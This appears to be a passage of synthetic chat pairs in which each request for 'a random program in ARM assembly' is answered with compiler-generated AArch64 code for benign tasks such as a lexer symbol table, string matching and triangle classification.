subs x3, x3, x2
mov x2, 0
beq .L42
bl __stack_chk_fail
.L42:
mov w0, w1
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size other, .-other
.section .rodata
.align 3
.LC15:
.ascii "+-*/%><=!&|"
.text
.section .rodata
.align 3
.LC16:
.string "Enter the file name with.txt extension"
.align 3
.LC17:
.string "%s"
.align 3
.LC18:
.string "r"
.align 3
.LC19:
.string "Error File Cannot be opened"
.align 3
.LC20:
.string "\n\t\t\t\tSymbol Table"
.align 3
.LC21:
.string "\n\tID \tTOKEN NAME \tTOKEN TYPE \t\tOCCURENCES\tLINE NUMBERS"
.align 3
.LC22:
.string "\n %3d\t%20s\t%20s\t%5d\t%10d"
.align 3
.LC23:
.string ",%d"
.text
.align 2
.global main
.type main, %function
main:
.LFB10:
.cfi_startproc
sub sp, sp, #65536
.cfi_def_cfa_offset 65536
str xzr, [sp, 1024]
sub sp, sp, #65536
.cfi_def_cfa_offset 131072
str xzr, [sp, 1024]
sub sp, sp, #65536
.cfi_def_cfa_offset 196608
str xzr, [sp, 1024]
sub sp, sp, #3568
.cfi_def_cfa_offset 200176
stp x29, x30, [sp]
.cfi_offset 29, -200176
.cfi_offset 30, -200168
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -200160
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x1, sp, 196608
ldr x2, [x0]
str x2, [x1, 3560]
mov x2, 0
mov w0, 1
str w0, [sp, 32]
str wzr, [sp, 40]
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
str wzr, [x0, 256]
adrp x0, .LC16
add x0, x0, :lo12:.LC16
bl puts
add x0, sp, 64
mov x1, x0
adrp x0, .LC17
add x0, x0, :lo12:.LC17
bl __isoc99_scanf
add x2, sp, 64
adrp x0, .LC18
add x1, x0, :lo12:.LC18
mov x0, x2
bl fopen
str x0, [sp, 56]
ldr x0, [sp, 56]
cmp x0, 0
bne .L44
adrp x0, .LC19
add x0, x0, :lo12:.LC19
bl puts
mov w0, 0
bl exit
.L44:
bl valid_tokens
b .L45
.L62:
str wzr, [sp, 52]
str wzr, [sp, 40]
str wzr, [sp, 36]
b .L46
.L61:
ldr w0, [sp, 52]
cmp w0, 0
bne .L47
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 64
bls .L48
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 90
bls .L49
.L48:
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 96
bls .L50
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 122
bls .L49
.L50:
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 47
bls .L51
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 57
bls .L49
.L51:
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 95
bne .L47
.L49:
ldr w0, [sp, 40]
add w1, w0, 1
str w1, [sp, 40]
ldrsw x1, [sp, 36]
add x2, sp, 168
ldrb w2, [x2, x1]
sxtw x0, w0
add x1, sp, 98304
add x1, x1, 1864
strb w2, [x1, x0]
b .L52
.L47:
ldr w0, [sp, 52]
cmp w0, 0
beq .L53
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
bl other
cmp w0, 0
beq .L53
ldr w0, [sp, 40]
add w1, w0, 1
str w1, [sp, 40]
ldrsw x1, [sp, 36]
add x2, sp, 168
ldrb w2, [x2, x1]
sxtw x0, w0
add x1, sp, 98304
add x1, x1, 1864
strb w2, [x1, x0]
b .L52
.L53:
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 9
beq .L54
ldr w0, [sp, 40]
cmp w0, 0
beq .L54
ldrsw x0, [sp, 40]
add x1, sp, 98304
add x1, x1, 1864
strb wzr, [x1, x0]
add x0, sp, 98304
add x0, x0, 1864
ldr w1, [sp, 32]
bl check
.L54:
str wzr, [sp, 40]
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 9
beq .L52
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 10
beq .L52
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 13
beq .L52
ldr w0, [sp, 40]
add w1, w0, 1
str w1, [sp, 40]
ldrsw x1, [sp, 36]
add x2, sp, 168
ldrb w2, [x2, x1]
sxtw x0, w0
add x1, sp, 98304
add x1, x1, 1864
strb w2, [x1, x0]
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
bl other
cmp w0, 0
bne .L55
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 64
bls .L56
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 90
bls .L57
.L56:
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 96
bls .L58
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 122
bls .L57
.L58:
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 47
bls .L59
ldrsw x0, [sp, 36]
add x1, sp, 168
ldrb w0, [x1, x0]
cmp w0, 57
bhi .L59
.L57:
str wzr, [sp, 52]
b .L52
.L59:
ldrsw x0, [sp, 40]
add x1, sp, 98304
add x1, x1, 1864
strb wzr, [x1, x0]
add x0, sp, 98304
add x0, x0, 1864
ldr w1, [sp, 32]
bl check
str wzr, [sp, 40]
str wzr, [sp, 52]
b .L52
.L55:
mov w0, 1
str w0, [sp, 52]
.L52:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L46:
ldrsw x19, [sp, 36]
add x0, sp, 168
bl strlen
cmp x19, x0
bcc .L61
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L45:
add x0, sp, 168
ldr x2, [sp, 56]
mov w1, 34464
movk w1, 0x1, lsl 16
bl fgets
cmp x0, 0
bne .L62
adrp x0, .LC20
add x0, x0, :lo12:.LC20
bl puts
adrp x0, .LC21
add x0, x0, :lo12:.LC21
bl puts
str wzr, [sp, 36]
b .L63
.L68:
adrp x0, st
add x1, x0, :lo12:st
ldrsw x2, [sp, 36]
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
ldr w0, [x0, 204]
cmp w0, 0
ble .L64
adrp x0, st
add x1, x0, :lo12:st
ldrsw x2, [sp, 36]
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
ldr w6, [x0, 200]
ldrsw x1, [sp, 36]
mov x0, 40208
mul x1, x1, x0
adrp x0, st
add x0, x0, :lo12:st
add x7, x1, x0
ldrsw x1, [sp, 36]
mov x0, 40208
mul x0, x1, x0
add x1, x0, 96
adrp x0, st
add x0, x0, :lo12:st
add x0, x1, x0
add x3, x0, 4
adrp x0, st
add x1, x0, :lo12:st
ldrsw x2, [sp, 36]
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
ldr w4, [x0, 204]
adrp x0, st
add x1, x0, :lo12:st
ldrsw x2, [sp, 36]
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
ldr w0, [x0, 208]
mov w5, w0
mov x2, x7
mov w1, w6
adrp x0, .LC22
add x0, x0, :lo12:.LC22
bl printf
adrp x0, st
add x1, x0, :lo12:st
ldrsw x2, [sp, 36]
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
ldr w0, [x0, 208]
str w0, [sp, 48]
mov w0, 1
str w0, [sp, 44]
b .L65
.L67:
adrp x0, st
add x0, x0, :lo12:st
ldrsw x1, [sp, 44]
ldrsw x3, [sp, 36]
mov x2, 10052
mul x2, x3, x2
add x1, x2, x1
add x1, x1, 52
ldr w0, [x0, x1, lsl 2]
ldr w1, [sp, 48]
cmp w1, w0
beq .L66
adrp x0, st
add x0, x0, :lo12:st
ldrsw x1, [sp, 44]
ldrsw x3, [sp, 36]
mov x2, 10052
mul x2, x3, x2
add x1, x2, x1
add x1, x1, 52
ldr w0, [x0, x1, lsl 2]
mov w1, w0
adrp x0, .LC23
add x0, x0, :lo12:.LC23
bl printf
adrp x0, st
add x0, x0, :lo12:st
ldrsw x1, [sp, 44]
ldrsw x3, [sp, 36]
mov x2, 10052
mul x2, x3, x2
add x1, x2, x1
add x1, x1, 52
ldr w0, [x0, x1, lsl 2]
str w0, [sp, 48]
.L66:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L65:
adrp x0, st
add x1, x0, :lo12:st
ldrsw x2, [sp, 36]
mov x0, 40208
mul x0, x2, x0
add x0, x1, x0
ldr w0, [x0, 204]
ldr w1, [sp, 44]
cmp w1, w0
blt .L67
mov w0, 10
bl putchar
.L64:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L63:
adrp x0, st
add x1, x0, :lo12:st
mov x0, 16384
movk x0, 0x17f7, lsl 16
add x0, x1, x0
ldr w0, [x0, 256]
ldr w1, [sp, 36]
cmp w1, w0
blt .L68
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x3, sp, 196608
ldr x4, [x3, 3560]
ldr x2, [x0]
subs x4, x4, x2
mov x2, 0
beq .L70
bl __stack_chk_fail
.L70:
mov w0, w1
ldr x19, [sp, 16]
ldp x29, x30, [sp]
.cfi_restore 29
.cfi_restore 30
.cfi_restore 19
add sp, sp, 3568
.cfi_def_cfa_offset 196608
add sp, sp, 196608
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global cmp
.type cmp, %function
cmp:
.LFB6:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
str x1, [sp]
ldr x0, [sp, 8]
ldrb w0, [x0]
mov w1, w0
ldr x0, [sp]
ldrb w0, [x0]
sub w0, w1, w0
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size cmp, .-cmp
.section .rodata
.align 3
.LC0:
.string "NO"
.align 3
.LC1:
.string "YES"
.text
.align 2
.global gridChallenge
.type gridChallenge, %function
gridChallenge:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
str wzr, [sp, 40]
b .L4
.L5:
ldrsw x0, [sp, 40]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr x0, [x0]
str x0, [sp, 56]
ldr x0, [sp, 56]
bl strlen
mov x1, x0
adrp x0, cmp
add x3, x0, :lo12:cmp
mov x2, 1
ldr x0, [sp, 56]
bl qsort
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L4:
ldr w1, [sp, 40]
ldr w0, [sp, 28]
cmp w1, w0
blt .L5
ldr x0, [sp, 16]
ldr x0, [x0]
bl strlen
str w0, [sp, 52]
str wzr, [sp, 44]
b .L6
.L11:
str wzr, [sp, 48]
b .L7
.L10:
ldrsw x0, [sp, 48]
lsl x0, x0, 3
ldr x1, [sp, 16]
add x0, x1, x0
ldr x1, [x0]
ldrsw x0, [sp, 44]
add x0, x1, x0
ldrb w1, [x0]
ldrsw x0, [sp, 48]
add x0, x0, 1
lsl x0, x0, 3
ldr x2, [sp, 16]
add x0, x2, x0
ldr x2, [x0]
ldrsw x0, [sp, 44]
add x0, x2, x0
ldrb w0, [x0]
cmp w1, w0
bls .L8
adrp x0, .LC0
add x0, x0, :lo12:.LC0
b .L9
.L8:
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L7:
ldr w0, [sp, 28]
sub w0, w0, #1
ldr w1, [sp, 48]
cmp w1, w0
blt .L10
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L6:
ldr w1, [sp, 44]
ldr w0, [sp, 52]
cmp w1, w0
blt .L11
adrp x0, .LC1
add x0, x0, :lo12:.LC1
.L9:
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size gridChallenge, .-gridChallenge
.section .rodata
.align 3
.LC2:
.string "OUTPUT_PATH"
.align 3
.LC3:
.string "w"
.align 3
.LC4:
.string "%s\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 104]
mov x1, 0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl getenv
mov x2, x0
adrp x0, .LC3
add x1, x0, :lo12:.LC3
mov x0, x2
bl fopen
str x0, [sp, 56]
bl readline
str x0, [sp, 64]
add x0, sp, 40
mov w2, 10
mov x1, x0
ldr x0, [sp, 64]
bl strtol
str w0, [sp, 28]
ldr x0, [sp, 40]
ldr x1, [sp, 64]
cmp x1, x0
beq .L13
ldr x0, [sp, 40]
ldrb w0, [x0]
cmp w0, 0
beq .L14
.L13:
mov w0, 1
bl exit
.L14:
str wzr, [sp, 20]
b .L15
.L20:
bl readline
str x0, [sp, 72]
add x0, sp, 48
mov w2, 10
mov x1, x0
ldr x0, [sp, 72]
bl strtol
str w0, [sp, 32]
ldr x0, [sp, 48]
ldr x1, [sp, 72]
cmp x1, x0
beq .L16
ldr x0, [sp, 48]
ldrb w0, [x0]
cmp w0, 0
beq .L17
.L16:
mov w0, 1
bl exit
.L17:
ldrsw x0, [sp, 32]
lsl x0, x0, 3
bl malloc
str x0, [sp, 80]
str wzr, [sp, 24]
b .L18
.L19:
bl readline
str x0, [sp, 96]
ldrsw x0, [sp, 24]
lsl x0, x0, 3
ldr x1, [sp, 80]
add x0, x1, x0
ldr x1, [sp, 96]
str x1, [x0]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L18:
ldr w1, [sp, 24]
ldr w0, [sp, 32]
cmp w1, w0
blt .L19
ldr w0, [sp, 32]
str w0, [sp, 36]
ldr x1, [sp, 80]
ldr w0, [sp, 36]
bl gridChallenge
str x0, [sp, 88]
ldr x2, [sp, 88]
adrp x0, .LC4
add x1, x0, :lo12:.LC4
ldr x0, [sp, 56]
bl fprintf
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L15:
ldr w1, [sp, 20]
ldr w0, [sp, 28]
cmp w1, w0
blt .L20
ldr x0, [sp, 56]
bl fclose
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 104]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L22
bl __stack_chk_fail
.L22:
mov w0, w1
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size main, .-main
.align 2
.global readline
.type readline, %function
readline:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
mov x0, 1024
str x0, [sp, 16]
str xzr, [sp, 24]
ldr x0, [sp, 16]
bl malloc
str x0, [sp, 32]
.L27:
ldr x1, [sp, 32]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 16]
mov w1, w0
ldr x0, [sp, 24]
sub w0, w1, w0
mov w1, w0
adrp x0, :got:stdin
ldr x0, [x0, #:got_lo12:stdin]
ldr x0, [x0]
mov x2, x0
ldr x0, [sp, 40]
bl fgets
str x0, [sp, 48]
ldr x0, [sp, 48]
cmp x0, 0
beq .L30
ldr x0, [sp, 40]
bl strlen
mov x1, x0
ldr x0, [sp, 24]
add x0, x0, x1
str x0, [sp, 24]
ldr x0, [sp, 16]
sub x0, x0, #1
ldr x1, [sp, 24]
cmp x1, x0
bcc .L25
ldr x0, [sp, 24]
sub x0, x0, #1
ldr x1, [sp, 32]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 10
beq .L25
ldr x0, [sp, 16]
lsl x0, x0, 1
str x0, [sp, 56]
ldr x1, [sp, 56]
ldr x0, [sp, 32]
bl realloc
str x0, [sp, 32]
ldr x0, [sp, 32]
cmp x0, 0
beq .L31
ldr x0, [sp, 56]
str x0, [sp, 16]
b .L27
.L30:
nop
b .L25
.L31:
nop
.L25:
ldr x0, [sp, 24]
sub x0, x0, #1
ldr x1, [sp, 32]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 10
bne .L28
ldr x0, [sp, 24]
sub x0, x0, #1
ldr x1, [sp, 32]
add x0, x1, x0
strb wzr, [x0]
.L28:
ldr x1, [sp, 24]
ldr x0, [sp, 32]
bl realloc
str x0, [sp, 32]
ldr x0, [sp, 32]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size readline, .-readline
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global f
.type f, %function
f:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size f, .-f
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Enter the string: "
.align 3
.LC1:
.string "%s"
.align 3
.LC2:
.string "Enter the substring: "
.align 3
.LC3:
.string "Result is %d"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
sub sp, sp, #2048
.cfi_def_cfa_offset 2048
stp x29, x30, [sp]
.cfi_offset 29, -2048
.cfi_offset 30, -2040
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 2040]
mov x1, 0
str wzr, [sp, 16]
str wzr, [sp, 20]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
add x0, sp, 40
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
add x0, sp, 1040
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
add x0, sp, 40
bl strlen
str w0, [sp, 32]
add x0, sp, 1040
bl strlen
str w0, [sp, 36]
str wzr, [sp, 24]
b .L2
.L7:
str wzr, [sp, 28]
ldrsw x0, [sp, 24]
add x1, sp, 40
ldrb w1, [x1, x0]
ldrb w0, [sp, 1040]
cmp w1, w0
bne .L3
ldr w0, [sp, 24]
str w0, [sp, 28]
.L6:
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
ldr w0, [sp, 28]
add w0, w0, 1
sxtw x0, w0
add x1, sp, 40
ldrb w1, [x1, x0]
ldrsw x0, [sp, 20]
add x2, sp, 1040
ldrb w0, [x2, x0]
cmp w1, w0
bne .L10
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
ldr w0, [sp, 36]
sub w0, w0, #1
ldr w1, [sp, 20]
cmp w1, w0
bne .L6
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
b .L3
.L10:
nop
.L3:
str wzr, [sp, 28]
str wzr, [sp, 20]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L2:
ldr w1, [sp, 32]
ldr w0, [sp, 36]
sub w0, w1, w0
ldr w1, [sp, 24]
cmp w1, w0
ble .L7
ldr w1, [sp, 16]
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 2040]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L9
bl __stack_chk_fail
.L9:
mov w0, w1
ldp x29, x30, [sp]
add sp, sp, 2048
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
bl rand
str w0, [sp, 40]
ldr w0, [sp, 40]
cmp w0, 0
ble .L2
bl rand
str w0, [sp, 44]
mov w0, 42
str w0, [sp, 36]
b .L3
.L2:
bl rand
bl rand
str w0, [sp, 44]
mov w0, 7
str w0, [sp, 36]
.L3:
ldr w0, [sp, 36]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Hello: %s : %s \n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
ldr x0, [sp, 16]
add x0, x0, 8
ldr x1, [x0]
ldr x0, [sp, 16]
add x0, x0, 16
ldr x0, [x0]
mov x2, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global PKEY_GPS_SpeedRef
.section .rodata
.align 3
.type PKEY_GPS_SpeedRef, %object
.size PKEY_GPS_SpeedRef, 24
PKEY_GPS_SpeedRef:
.xword 3975673033
.hword 21583
.hword 19821
.ascii "\235\230\212\327\232\332\364S"
.zero 4
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "%d"
.align 3
.LC1:
.string "BCG %d\n"
.align 3
.LC2:
.string "BGC %d\n"
.align 3
.LC3:
.string "CBG %d\n"
.align 3
.LC4:
.string "CGB %d\n"
.align 3
.LC5:
.string "GBC %d\n"
.align 3
.LC6:
.string "GCB %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 104]
mov x1, 0
b .L2
.L14:
ldr w0, [sp, 64]
str w0, [sp, 36]
mov w0, 1
str w0, [sp, 32]
b .L3
.L4:
ldrsw x0, [sp, 32]
lsl x0, x0, 2
add x1, sp, 64
add x0, x1, x0
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
ldrsw x0, [sp, 32]
lsl x0, x0, 2
add x1, sp, 64
ldr w0, [x1, x0]
ldr w1, [sp, 36]
add w0, w1, w0
str w0, [sp, 36]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L3:
ldr w0, [sp, 32]
cmp w0, 8
ble .L4
ldr w0, [sp, 64]
ldr w1, [sp, 36]
sub w1, w1, w0
ldr w0, [sp, 84]
sub w1, w1, w0
ldr w0, [sp, 92]
sub w0, w1, w0
str w0, [sp, 40]
ldr w0, [sp, 64]
ldr w1, [sp, 36]
sub w1, w1, w0
ldr w0, [sp, 80]
sub w1, w1, w0
ldr w0, [sp, 96]
sub w0, w1, w0
str w0, [sp, 44]
ldr w0, [sp, 72]
ldr w1, [sp, 36]
sub w1, w1, w0
ldr w0, [sp, 76]
sub w1, w1, w0
ldr w0, [sp, 92]
sub w0, w1, w0
str w0, [sp, 48]
ldr w0, [sp, 72]
ldr w1, [sp, 36]
sub w1, w1, w0
ldr w0, [sp, 80]
sub w1, w1, w0
ldr w0, [sp, 88]
sub w0, w1, w0
str w0, [sp, 52]
ldr w0, [sp, 68]
ldr w1, [sp, 36]
sub w1, w1, w0
ldr w0, [sp, 76]
sub w1, w1, w0
ldr w0, [sp, 96]
sub w0, w1, w0
str w0, [sp, 56]
ldr w0, [sp, 68]
ldr w1, [sp, 36]
sub w1, w1, w0
ldr w0, [sp, 84]
sub w1, w1, w0
ldr w0, [sp, 88]
sub w0, w1, w0
str w0, [sp, 60]
ldr w0, [sp, 40]
str w0, [sp, 24]
str wzr, [sp, 28]
mov w0, 1
str w0, [sp, 32]
b .L5
.L7:
ldrsw x0, [sp, 32]
lsl x0, x0, 2
add x1, sp, 40
ldr w0, [x1, x0]
ldr w1, [sp, 24]
cmp w1, w0
ble .L6
ldrsw x0, [sp, 32]
lsl x0, x0, 2
add x1, sp, 40
ldr w0, [x1, x0]
str w0, [sp, 24]
ldr w0, [sp, 32]
str w0, [sp, 28]
.L6:
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L5:
ldr w0, [sp, 32]
cmp w0, 5
ble .L7
ldr w0, [sp, 28]
cmp w0, 5
beq .L8
ldr w0, [sp, 28]
cmp w0, 5
bgt .L2
ldr w0, [sp, 28]
cmp w0, 4
beq .L9
ldr w0, [sp, 28]
cmp w0, 4
bgt .L2
ldr w0, [sp, 28]
cmp w0, 3
beq .L10
ldr w0, [sp, 28]
cmp w0, 3
bgt .L2
ldr w0, [sp, 28]
cmp w0, 2
beq .L11
ldr w0, [sp, 28]
cmp w0, 2
bgt .L2
ldr w0, [sp, 28]
cmp w0, 0
beq .L12
ldr w0, [sp, 28]
cmp w0, 1
beq .L13
b .L2
.L12:
ldr w1, [sp, 24]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
b .L2
.L13:
ldr w1, [sp, 24]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
b .L2
.L11:
ldr w1, [sp, 24]
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
b .L2
.L10:
ldr w1, [sp, 24]
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
b .L2
.L9:
ldr w1, [sp, 24]
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
b .L2
.L8:
ldr w1, [sp, 24]
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl printf
nop
.L2:
add x0, sp, 64
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
cmn w0, #1
bne .L14
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 104]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L16
bl __stack_chk_fail
.L16:
mov w0, w1
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global f
.type f, %function
f:
.LFB0:
.cfi_startproc
.L2:
b .L2
.cfi_endproc
.LFE0:
.size f, .-f
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "%d"
.align 3
.LC1:
.string "%ld %ld %ld"
.align 3
.LC2:
.string "Case %d: Invalid\n"
.align 3
.LC3:
.string "Case %d: Equilateral\n"
.align 3
.LC4:
.string "Case %d: Isosceles\n"
.align 3
.LC5:
.string "Case %d: Scalene\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
add x0, sp, 24
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
mov w0, 1
str w0, [sp, 28]
b .L2
.L9:
add x2, sp, 48
add x1, sp, 40
add x0, sp, 32
mov x3, x2
mov x2, x1
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
ldr x1, [sp, 32]
ldr x0, [sp, 40]
add x1, x1, x0
ldr x0, [sp, 48]
cmp x1, x0
ble .L3
ldr x1, [sp, 32]
ldr x0, [sp, 48]
add x1, x1, x0
ldr x0, [sp, 40]
cmp x1, x0
ble .L3
ldr x1, [sp, 40]
ldr x0, [sp, 48]
add x1, x1, x0
ldr x0, [sp, 32]
cmp x1, x0
bgt .L4
.L3:
ldr w1, [sp, 28]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
b .L5
.L4:
ldr x1, [sp, 32]
ldr x0, [sp, 40]
cmp x1, x0
bne .L6
ldr x1, [sp, 40]
ldr x0, [sp, 48]
